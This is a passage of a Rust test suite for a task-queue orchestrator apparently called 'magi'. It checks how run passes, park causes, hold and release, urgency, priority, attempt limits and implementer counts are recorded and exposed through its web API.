13965 let mut s = RunState::new(
13966 PathBuf::from("/repo/magi"),
13967 "main".to_owned(),
13968 "0123456789abcdef".to_owned(),
13969 "Do it".to_owned(),
13970 Config::default(),
13971 );
13972 s.status = RunStatus::Implementing;
13973 s.parked = true;
13974 let task = Task::new(
13975 "t".to_owned(),
13976 "Do it".to_owned(),
13977 PathBuf::from("/repo/magi"),
13978 Source::Human,
13979 );
13980 let v = task_run_view(
13981 "20260902-140501-aaaa",
13982 Some(&s),
13983 RunSlot {
13984 n: 1,
13985 resumed: false,
13986 resumed_later: None,
13987 prior: None,
13988 last: true,
13989 ..RunSlot::default()
13990 },
13991 &task,
13992 );
13993 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
13994 }
13995
13996 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
13997 let mut s = flow_run(RunStatus::Implementing, edit);
13998 s.parked = false;
13999 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14000 task_run_view(
14001 "20260902-140501-aaaa",
14002 Some(&s),
14003 RunSlot {
14004 n: 1,
14005 resumed: false,
14006 resumed_later: Some(2),
14007 prior: None,
14008 last: false,
14009 ..RunSlot::default()
14010 },
14011 &task,
14012 )
14013 }
14014
14015 #[test]
14016 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14017 let v = earlier_pass_view(|_| {});
14018 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14019 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14020 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14021 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14022 assert_eq!(v.exit, RunExit::Interrupted);
14023 assert_eq!(v.attempt, AttemptCost::Unknown);
14024 }
14025
14026 #[test]
14027 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14028 let v = earlier_pass_view(|s| {
14029 s.quota.push(crate::run::QuotaLoss {
14030 seat: "judge-1".to_owned(),
14031 node: "judge".to_owned(),
14032 at: Timestamp::now(),
14033 reset: None,
14034 });
14035 });
14036 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14037 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14038 assert_eq!(v.attempt, AttemptCost::Unknown);
14039 }
14040
14041 #[test]
14042 fn the_current_pass_states_its_recorded_cause_and_cost() {
14043 let slot = || RunSlot {
14044 n: 1,
14045 resumed: false,
14046 resumed_later: None,
14047 prior: None,
14048 last: true,
14049 ..RunSlot::default()
14050 };
14051 let task = flow_task(&["20260902-140501-aaaa"]);
14052 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14053 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14054 assert_eq!(
14055 (v.exit, v.attempt),
14056 (RunExit::Parked, AttemptCost::Refunded)
14057 );
14058 let spent = flow_run(RunStatus::Blocked, |_| {});
14059 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14060 assert_eq!(v.attempt, AttemptCost::Spent);
14061 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14062 }
14063
14064 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14065 crate::run::RunPass {
14066 index,
14067 started_at: Timestamp::now(),
14068 resumed: index > 0,
14069 ended_at: end.as_ref().map(|_| Timestamp::now()),
14070 end,
14071 task_entry: true,
14072 }
14073 }
14074
14075 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14076 Some(crate::run::PassEnd::Parked { cause })
14077 }
14078
14079 fn upgrade_cause() -> crate::run::ParkCause {
14080 crate::run::ParkCause::Upgrade {
14081 from: "0.121.0".to_owned(),
14082 to: Some("0.121.1".to_owned()),
14083 }
14084 }
14085
14086 fn settled_pass(
14087 run: &str,
14088 index: usize,
14089 cost: crate::queue::PassCost,
14090 ) -> crate::queue::TaskPass {
14091 crate::queue::TaskPass {
14092 run: run.to_owned(),
14093 pass_index: index,
14094 cost,
14095 attempts_after: 1,
14096 settled_at: Timestamp::now(),
14097 parked: None,
14098 }
14099 }
14100
14101 const RUN_X: &str = "20261011-223708-4334";
14102
14103 #[test]
14104 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14105 use crate::queue::PassCost;
14106 let run = flow_run(RunStatus::Implementing, |s| {
14107 s.passes = vec![
14108 recorded_pass(0, parked(upgrade_cause())),
14109 recorded_pass(1, None),
14110 ];
14111 });
14112 let mut task = flow_task(&[RUN_X, RUN_X]);
14113 task.attempts = 1;
14114 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14115 let h = task_history(&task, |_| Some(run.clone()));
14116 assert_eq!(h.len(), 2);
14117 assert_eq!(h[0].kind, "competition");
14118 assert_eq!(h[1].kind, "resume");
14119 assert_eq!(
14120 (h[0].exit, h[0].attempt),
14121 (RunExit::Parked, AttemptCost::Refunded)
14122 );
14123 assert!(
14124 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14125 "{}",
14126 h[0].outcome
14127 );
14128 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14129 assert!(
14130 h[0].outcome.contains("pass #2 resumed the same run"),
14131 "{}",
14132 h[0].outcome
14133 );
14134 assert!(
14135 h[0].outcome.contains("pass 1 of 2 over run"),
14136 "{}",
14137 h[0].outcome
14138 );
14139 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14140 assert_eq!(
14141 h[0].exit_label,
14142 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14143 );
14144 let f = task_flow(&task, &h, 2, None);
14145 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14147 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14148 assert!(
14149 f.edges[1].label.contains("upgrade 0.121.0"),
14150 "{}",
14151 f.edges[1].label
14152 );
14153 assert!(
14154 f.edges[1].label.contains("resume the same run"),
14155 "{}",
14156 f.edges[1].label
14157 );
14158 assert_eq!(f.nodes[1].note, Some("parked"));
14159 }
14160
14161 #[test]
14162 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14163 let mut a = flow_run(RunStatus::Implementing, |s| {
14164 s.passes = vec![
14165 recorded_pass(0, parked(upgrade_cause())),
14166 recorded_pass(1, None),
14167 ];
14168 });
14169 let mut b = flow_run(RunStatus::Failed, |s| {
14170 s.passes = vec![recorded_pass(0, None)];
14171 });
14172 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14173 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14174 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14175 let mut task = flow_task(&[]);
14176 task.start("a".into());
14177 task.start("b".into());
14178 task.start("a".into());
14179 assert_eq!(task.runs, ["b", "a"]);
14180 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14181 let h = task_history(&task, |id| {
14182 Some(if id == "a" { a.clone() } else { b.clone() })
14183 });
14184 assert_eq!(
14185 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14186 ["a", "b", "a"]
14187 );
14188 assert_eq!(h[0].attempt, AttemptCost::Refunded);
14189 assert!(h[0].outcome.contains("upgrade"));
14190 assert_eq!(h[2].kind, "resume");
14191 assert!(h[2].pass.is_some());
14192 task.runs = vec!["a".into(), "b".into(), "a".into()];
14194 let old = task_history(&task, |id| {
14195 Some(if id == "a" { a.clone() } else { b.clone() })
14196 });
14197 assert_eq!(
14198 old.iter()
14199 .map(|v| (&v.id, &v.kind, v.attempt))
14200 .collect::<Vec<_>>(),
14201 h.iter()
14202 .map(|v| (&v.id, &v.kind, v.attempt))
14203 .collect::<Vec<_>>()
14204 );
14205 }
14206
14207 #[test]
14208 fn an_upgrade_whose_target_was_not_known_says_so() {
14209 let run = flow_run(RunStatus::Implementing, |s| {
14210 s.passes = vec![
14211 recorded_pass(
14212 0,
14213 parked(crate::run::ParkCause::Upgrade {
14214 from: "0.121.0".to_owned(),
14215 to: None,
14216 }),
14217 ),
14218 recorded_pass(1, None),
14219 ];
14220 });
14221 let task = flow_task(&[RUN_X, RUN_X]);
14222 let h = task_history(&task, |_| Some(run.clone()));
14223 assert!(
14224 h[0].outcome.contains("upgrade from 0.121.0"),
14225 "{}",
14226 h[0].outcome
14227 );
14228 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14230 }
14231
14232 #[test]
14233 fn each_pass_keeps_its_own_cause_across_several_resumes() {
14234 use crate::queue::PassCost;
14235 use crate::run::ParkCause;
14236 let run = flow_run(RunStatus::Implementing, |s| {
14237 s.passes = vec![
14238 recorded_pass(0, parked(upgrade_cause())),
14239 recorded_pass(
14240 1,
14241 parked(ParkCause::Interrupt {
14242 reason: "task a1b2 asked to run first".to_owned(),
14243 }),
14244 ),
14245 recorded_pass(2, parked(ParkCause::Operator)),
14246 recorded_pass(3, None),
14247 ];
14248 });
14249 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14250 task.attempts = 1;
14251 task.passes = (0..3)
14252 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14253 .collect();
14254 let h = task_history(&task, |_| Some(run.clone()));
14255 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14256 assert!(
14257 h[1].outcome.contains("task a1b2 asked to run first"),
14258 "{}",
14259 h[1].outcome
14260 );
14261 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14262 assert!(
14263 h[2].outcome.contains("operator asked the loop to park"),
14264 "{}",
14265 h[2].outcome
14266 );
14267 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14268 let f = task_flow(&task, &h, 2, None);
14269 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14270 }
14271
14272 #[test]
14273 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14274 let run = flow_run(RunStatus::Implementing, |s| {
14275 s.passes = vec![
14276 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14277 recorded_pass(1, None),
14278 ];
14279 });
14280 let task = flow_task(&[RUN_X, RUN_X]);
14281 let h = task_history(&task, |_| Some(run.clone()));
14282 assert_eq!(h[0].exit, RunExit::Interrupted);
14283 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14284 assert!(
14285 h[0].outcome.contains("without recording why"),
14286 "{}",
14287 h[0].outcome
14288 );
14289 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14290 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14291 }
14292
14293 #[test]
14294 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14295 use crate::queue::PassCost;
14296 let run = flow_run(RunStatus::Implementing, |s| {
14299 s.passes = vec![
14300 recorded_pass(0, parked(upgrade_cause())),
14301 recorded_pass(1, None),
14302 ];
14303 });
14304 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14305 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14306 let h = task_history(&task, |_| Some(run.clone()));
14307 assert!(h[0].pass.is_none());
14308 assert_eq!(h[0].exit, RunExit::Interrupted);
14309 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14310 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14311 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14312 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14313 let legacy = flow_run(RunStatus::Implementing, |_| {});
14315 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14316 assert!(h.iter().all(|v| v.pass.is_none()));
14317 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14318 }
14319
14320 #[test]
14321 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14322 use crate::queue::PassCost;
14323 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14326 web.task_entry = false;
14327 let run = flow_run(RunStatus::Implementing, |s| {
14328 s.passes = vec![
14329 recorded_pass(0, parked(upgrade_cause())),
14330 web.clone(),
14331 recorded_pass(2, None),
14332 ];
14333 });
14334 let mut task = flow_task(&[RUN_X, RUN_X]);
14335 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14336 let h = task_history(&task, |_| Some(run.clone()));
14337 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14338 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14339
14340 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14343 web0.task_entry = false;
14344 let run = flow_run(RunStatus::Implementing, |s| {
14345 s.passes = vec![web0.clone(), recorded_pass(1, None)];
14346 });
14347 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14348 assert!(h[0].pass.is_none());
14349 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14350 assert!(h[1].pass.is_some());
14351 }
14352
14353 #[tokio::test]
14354 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14355 let dir = tempfile::tempdir().unwrap();
14356 let queue = Queue::at(dir.path().join("queue"));
14357 let ui = Arc::new(Ui::new(
14358 queue.clone(),
14359 Questions::at(dir.path().join("questions")),
14360 Talks::at(dir.path().join("talks")),
14361 dir.path().join("runs"),
14362 dir.path().to_path_buf(),
14363 dir.path().to_path_buf(),
14364 ));
14365 let mut t = Task::new(
14366 "recover".into(),
14367 "Inspect".into(),
14368 PathBuf::from("."),
14369 Source::Human,
14370 );
14371 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14372 t.start("run-A".into());
14373 t.release_operator("choice", Some("resume-question"));
14374 t.resume_override = Some(crate::queue::OperatorResume {
14375 question_id: "resume-question".into(),
14376 at: jiff::Timestamp::now(),
14377 conductor_rehold: None,
14378 forced: true,
14379 pinned_run: Some("run-A".into()),
14380 });
14381 t.hold_machine(Some("inspection pending".into()));
14382 t.edit("recover".into(), "Reuse approved PR head".into())
14383 .unwrap();
14384 queue.put(&mut t).unwrap();
14385 let mut cli = t.clone();
14386 cli.release_operator("cli", None);
14387 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14388 let reloaded = queue.get(&t.id).unwrap();
14389 assert_eq!(reply.task.status, TaskStatus::Queued);
14390 assert!(reloaded.resume_override.is_none());
14391 assert_eq!(reloaded.answers, t.answers);
14392 let mut web = reloaded.resumption.unwrap();
14393 let cli = cli.resumption.unwrap();
14394 assert_eq!(web.source, "web");
14395 web.source = cli.source.clone();
14396 web.at = cli.at;
14397 assert_eq!(web, cli);
14398 }
14399
14400 #[tokio::test]
14401 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14402 let f = Fixture::start().await;
14403 let queue = f.queue();
14404 let mut task = Task::new(
14405 "spent".to_owned(),
14406 "Try again".to_owned(),
14407 PathBuf::from("/repo/magi"),
14408 Source::Human,
14409 );
14410 task.start("20260902-140502-bbbb".to_owned());
14411 task.fail("agent gave up", 9);
14412 queue.put(&mut task).expect("file the task");
14413
14414 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14415 assert_eq!(held.status, 200);
14416 assert_eq!(held.json()["status_str"], "held");
14417
14418 let released = f
14419 .post(&format!("/api/queue/{}/release", task.id), None)
14420 .await;
14421 assert_eq!(released.status, 200);
14422 assert_eq!(released.json()["status_str"], "queued");
14423 assert_eq!(released.json()["resumption"]["source"], "web");
14424 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14425 let mut cli = task.clone();
14426 cli.release_operator("cli", None);
14427 let web = queue.get(&task.id).unwrap().resumption.unwrap();
14428 let cli = cli.resumption.unwrap();
14429 assert_eq!(web.instruction, cli.instruction);
14430 assert_eq!(web.answers_through, cli.answers_through);
14431 assert_eq!(web.runs_through, cli.runs_through);
14432 assert_eq!(web.cleared_reason, cli.cleared_reason);
14433 assert_eq!(
14434 released.json()["attempts"],
14435 0,
14436 "release is a real second chance, not an instant re-hold"
14437 );
14438 assert_eq!(
14439 queue.get(&task.id).expect("reload").status,
14440 TaskStatus::Queued,
14441 "the change is on disk, not only in the reply"
14442 );
14443 assert!(
14444 !f.home
14445 .path()
14446 .join("queue")
14447 .join(format!("{}.lock", task.id))
14448 .exists(),
14449 "the claim the mutation took is released again"
14450 );
14451 }
14452
14453 #[tokio::test]
14454 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14455 let f = Fixture::start().await;
14456 let queue = f.queue();
14457 let mut task = Task::new(
14458 "busy".to_owned(),
14459 "Running right now".to_owned(),
14460 PathBuf::from("/repo/magi"),
14461 Source::Human,
14462 );
14463 queue.put(&mut task).expect("file the task");
14464 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14465
14466 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14467
14468 assert_eq!(res.status, 409);
14469 assert_eq!(
14470 queue.get(&task.id).expect("reload").status,
14471 TaskStatus::Queued,
14472 "the refused hold changed nothing"
14473 );
14474 }
14475
14476 #[tokio::test]
14477 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14478 let f = Fixture::start().await;
14479 let queue = f.queue();
14480 let mut task = Task::new(
14481 "waiting on the migration".to_owned(),
14482 "Do the thing".to_owned(),
14483 PathBuf::from("/repo/magi"),
14484 Source::Human,
14485 );
14486 queue.put(&mut task).expect("file the task");
14487
14488 let held = f
14489 .post(
14490 &format!("/api/queue/{}/hold", task.id),
14491 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14492 )
14493 .await;
14494 assert_eq!(held.status, 200, "{}", held.body);
14495 assert_eq!(held.json()["status_str"], "held");
14496 assert_eq!(
14497 held.json()["hold_reason"],
14498 "waiting for 20260101-000000-aaaa to land"
14499 );
14500
14501 let listed = f.get("/api/queue").await.json();
14502 assert_eq!(
14503 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14504 "the card reads the reason off the same list route"
14505 );
14506
14507 let mut plain = Task::new(
14510 "no reason given".to_owned(),
14511 "Do another thing".to_owned(),
14512 PathBuf::from("/repo/magi"),
14513 Source::Human,
14514 );
14515 queue.put(&mut plain).expect("file the task");
14516 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14517 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14518 assert!(held_plain.json()["hold_reason"].is_null());
14519
14520 let released = f
14521 .post(&format!("/api/queue/{}/release", task.id), None)
14522 .await;
14523 assert_eq!(released.status, 200);
14524 assert!(
14525 released.json()["hold_reason"].is_null(),
14526 "a release must clear the reason so the next hold does not inherit it"
14527 );
14528 }
14529
14530 #[test]
14531 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14532 for urgent in [true, false] {
14533 let body: UrgentBody =
14534 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14535 assert_eq!(body.urgent, urgent);
14536 }
14537 for input in [
14538 r#"{}"#,
14539 r#"{"urgent":null}"#,
14540 r#"{"urgent":"true"}"#,
14541 r#"{"urgent":1}"#,
14542 r#"{"urgent":true,"extra":false}"#,
14543 ] {
14544 assert!(
14545 serde_json::from_str::<UrgentBody>(input).is_err(),
14546 "{input}"
14547 );
14548 }
14549 }
14550
14551 #[tokio::test]
14552 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14553 let home = TempDir::new().unwrap();
14554 let q = Queue::at(home.path().join("queue"));
14555 let ui = Arc::new(Ui::new(
14556 q.clone(),
14557 Questions::at(home.path().join("questions")),
14558 Talks::at(home.path().join("talks")),
14559 home.path().join("runs"),
14560 home.path().into(),
14561 home.path().into(),
14562 ));
14563 let mut task = Task::new(
14564 "urgent handler".into(),
14565 "keep".into(),
14566 home.path().into(),
14567 Source::Human,
14568 );
14569 for status in [TaskStatus::Queued, TaskStatus::Held] {
14570 task.status = status;
14571 q.put(&mut task).unwrap();
14572 for urgent in [true, true, false, false] {
14573 let saved = queue_urgent(
14574 State(Arc::clone(&ui)),
14575 Path(task.short().into()),
14576 Ok(Json(UrgentBody { urgent })),
14577 )
14578 .await
14579 .unwrap();
14580 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14581 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14582 }
14583 }
14584 task.status = TaskStatus::Queued;
14585 q.put(&mut task).unwrap();
14586 let claim = q.claim(&task.id).unwrap();
14587 let error = queue_urgent(
14588 State(Arc::clone(&ui)),
14589 Path(task.id.clone()),
14590 Ok(Json(UrgentBody { urgent: true })),
14591 )
14592 .await
14593 .unwrap_err();
14594 assert_eq!(error.status, StatusCode::CONFLICT);
14595 assert!(error.message.contains("released"));
14596 drop(claim);
14597 for status in [
14598 TaskStatus::Running,
14599 TaskStatus::Done,
14600 TaskStatus::Failed,
14601 TaskStatus::Blocked,
14602 TaskStatus::Parked,
14603 ] {
14604 task.status = status;
14605 q.put(&mut task).unwrap();
14606 let error = queue_urgent(
14607 State(Arc::clone(&ui)),
14608 Path(task.id.clone()),
14609 Ok(Json(UrgentBody { urgent: false })),
14610 )
14611 .await
14612 .unwrap_err();
14613 assert_eq!(error.status, StatusCode::BAD_REQUEST);
14614 assert!(error.message.contains(status.as_str()));
14615 }
14616 }
14617
14618 #[tokio::test]
14619 async fn urgent_api_updates_preserves_and_validates_tasks() {
14620 let f = Fixture::start().await;
14621 let q = f.queue();
14622 let mut t = Task::new(
14623 "urgent API".into(),
14624 "unchanged".into(),
14625 PathBuf::from("/repo/magi"),
14626 Source::Human,
14627 );
14628 t.attempts = 2;
14629 t.priority = 9;
14630 t.interrupt = true;
14631 t.hold_reason = Some("waiting for approval".into());
14632 for status in [TaskStatus::Queued, TaskStatus::Held] {
14633 t.status = status;
14634 q.put(&mut t).unwrap();
14635 for urgent in [true, true, false, false] {
14636 let response = f
14637 .post(
14638 &format!("/api/queue/{}/urgent", t.short()),
14639 Some(&format!("{{\"urgent\":{urgent}}}")),
14640 )
14641 .await;
14642 assert_eq!(response.status, 200, "{}", response.body);
14643 assert_eq!(response.json()["urgent"], urgent);
14644 let saved = q.get(&t.id).unwrap();
14645 let mut before = serde_json::to_value(&t).unwrap();
14646 let mut after = serde_json::to_value(saved).unwrap();
14647 before["urgent"] = urgent.into();
14648 before.as_object_mut().unwrap().remove("updated_at");
14649 after.as_object_mut().unwrap().remove("updated_at");
14650 assert_eq!(after, before);
14651 }
14652 }
14653 let route = format!("/api/queue/{}/urgent", t.id);
14654 for body in [
14655 r#"{}"#,
14656 r#"{"urgent":null}"#,
14657 r#"{"urgent":"true"}"#,
14658 r#"{"urgent":1}"#,
14659 r#"{"urgent":true,"extra":false}"#,
14660 "{",
14661 ] {
14662 assert_eq!(f.post(&route, Some(body)).await.status, 400);
14663 }
14664 t.status = TaskStatus::Queued;
14665 q.put(&mut t).unwrap();
14666 let claim = q.claim(&t.id).unwrap();
14667 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
14668 assert_eq!(response.status, 409, "{}", response.body);
14669 assert!(!q.get(&t.id).unwrap().urgent);
14670 drop(claim);
14671 for status in [
14672 TaskStatus::Running,
14673 TaskStatus::Done,
14674 TaskStatus::Failed,
14675 TaskStatus::Blocked,
14676 TaskStatus::Parked,
14677 ] {
14678 t.status = status;
14679 q.put(&mut t).unwrap();
14680 for urgent in [true, false] {
14681 let response = f
14682 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
14683 .await;
14684 assert_eq!(response.status, 400, "{}", response.body);
14685 assert!(response.body.contains(status.as_str()));
14686 assert!(response.body.contains("queued or held"));
14687 assert!(!q.get(&t.id).unwrap().urgent);
14688 }
14689 }
14690 assert_eq!(
14691 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
14692 .await
14693 .status,
14694 404
14695 );
14696 }
14697
14698 #[tokio::test]
14699 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
14700 let f = Fixture::start().await;
14701 let queue = f.queue();
14702 let mut older = Task::new(
14703 "filed first".to_owned(),
14704 "x".to_owned(),
14705 PathBuf::from("/repo/magi"),
14706 Source::Human,
14707 );
14708 older.id = "20260101-000001-aaaa".to_owned();
14709 let mut newer = Task::new(
14710 "filed second".to_owned(),
14711 "x".to_owned(),
14712 PathBuf::from("/repo/magi"),
14713 Source::Human,
14714 );
14715 newer.id = "20260101-000002-bbbb".to_owned();
14716 queue.put(&mut older).expect("file older");
14717 queue.put(&mut newer).expect("file newer");
14718
14719 let before = f.get("/api/queue").await.json();
14722 assert_eq!(before[0]["id"], newer.id);
14723 assert_eq!(before[1]["id"], older.id);
14724
14725 let raised = f
14729 .post(
14730 &format!("/api/queue/{}/priority", older.id),
14731 Some(r#"{"priority":10}"#),
14732 )
14733 .await;
14734 assert_eq!(raised.status, 200, "{}", raised.body);
14735 assert_eq!(raised.json()["priority"], 10);
14736
14737 let after = f.get("/api/queue").await.json();
14738 let names: Vec<&str> = after
14739 .as_array()
14740 .unwrap()
14741 .iter()
14742 .map(|t| t["id"].as_str().unwrap())
14743 .collect();
14744 assert_eq!(names[0], older.id, "the raised task now sorts first");
14748 }
14749
14750 #[tokio::test]
14751 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
14752 let dir = TempDir::new().unwrap();
14753 let q = Queue::at(dir.path().join("queue"));
14754 let ui = Arc::new(Ui::new(
14755 q.clone(),
14756 Questions::at(dir.path().join("questions")),
14757 Talks::at(dir.path().join("talks")),
14758 dir.path().join("runs"),
14759 dir.path().to_path_buf(),
14760 dir.path().to_path_buf(),
14761 ));
14762 let mut t = Task::new(
14763 "budget".into(),
14764 "keep".into(),
14765 dir.path().into(),
14766 Source::Human,
14767 );
14768 t.attempts = 2;
14769 t.runs.push("prior-run".into());
14770 t.hold_manual(Some("waiting".into()));
14771 q.put(&mut t).unwrap();
14772 let change = |value| {
14773 queue_attempt_limit(
14774 State(ui.clone()),
14775 Path(t.id.clone()),
14776 Ok(Json(AttemptLimitBody {
14777 attempt_limit: value,
14778 })),
14779 )
14780 };
14781 for value in [
14782 serde_json::json!(3),
14783 serde_json::Value::Null,
14784 serde_json::json!(1),
14785 ] {
14786 let response = change(value.clone()).await.unwrap();
14787 assert_eq!(
14788 serde_json::to_value(response.0).unwrap()["attempt_limit"],
14789 value
14790 );
14791 let saved = q.get(&t.id).unwrap();
14792 assert_eq!(
14793 serde_json::to_value(&saved).unwrap()["attempt_limit"],
14794 value
14795 );
14796 assert_eq!(saved.status, TaskStatus::Held);
14797 assert_eq!(saved.attempts, t.attempts);
14798 assert_eq!(saved.runs, t.runs);
14799 assert_eq!(saved.hold_reason, t.hold_reason);
14800 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
14801 .await
14802 .unwrap()
14803 .0;
14804 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
14805 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
14806 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
14807 assert_eq!(outcome.max_attempts, detail.max_attempts);
14808 }
14809 for value in [
14810 serde_json::json!(0),
14811 serde_json::json!(-1),
14812 serde_json::json!(1.5),
14813 serde_json::json!("3"),
14814 serde_json::json!(true),
14815 ] {
14816 assert_eq!(
14817 change(value).await.err().unwrap().status,
14818 StatusCode::BAD_REQUEST
14819 );
14820 }
14821 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
14822 let claim = q.claim(&t.id).unwrap();
14823 assert_eq!(
14824 change(serde_json::json!(4)).await.err().unwrap().status,
14825 StatusCode::CONFLICT
14826 );
14827 drop(claim);
14828 for status in [
14829 TaskStatus::Running,
14830 TaskStatus::Done,
14831 TaskStatus::Failed,
14832 TaskStatus::Blocked,
14833 TaskStatus::Parked,
14834 ] {
14835 let mut stored = q.get(&t.id).unwrap();
14836 stored.status = status;
14837 q.put(&mut stored).unwrap();
14838 assert_eq!(
14839 change(serde_json::json!(4)).await.err().unwrap().status,
14840 StatusCode::BAD_REQUEST
14841 );
14842 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14843 }
14844 let mut stored = q.get(&t.id).unwrap();
14845 stored.status = TaskStatus::Queued;
14846 q.put(&mut stored).unwrap();
14847 let _ = change(serde_json::Value::Null).await.unwrap();
14848 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14849 }
14850
14851 #[tokio::test]
14852 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14853 let dir = TempDir::new().unwrap();
14854 let repo = dir.path().join("repo");
14855 std::fs::create_dir(&repo).unwrap();
14856 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14857 let q = Queue::at(dir.path().join("queue"));
14858 let ui = Arc::new(Ui::new(
14859 q.clone(),
14860 Questions::at(dir.path().join("questions")),
14861 Talks::at(dir.path().join("talks")),
14862 dir.path().join("runs"),
14863 dir.path().to_path_buf(),
14864 repo.clone(),
14865 ));
14866 let mut t = Task::new(
14867 "seats".into(),
14868 "keep instruction".into(),
14869 repo,
14870 Source::Human,
14871 );
14872 t.runs.push("prior-run".into());
14873 t.hold_manual(Some("waiting".into()));
14874 q.put(&mut t).unwrap();
14875 let change = |count| {
14876 queue_implementers(
14877 State(ui.clone()),
14878 Path(t.id.clone()),
14879 Ok(Json(ImplementersBody {
14880 implementers: count,
14881 })),
14882 )
14883 };
14884 for count in [2, 1, 2] {
14885 let response = change(count).await.unwrap();
14886 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
14887 let saved = q.get(&t.id).unwrap();
14888 assert_eq!(saved.implementers(), Some(usize::from(count)));
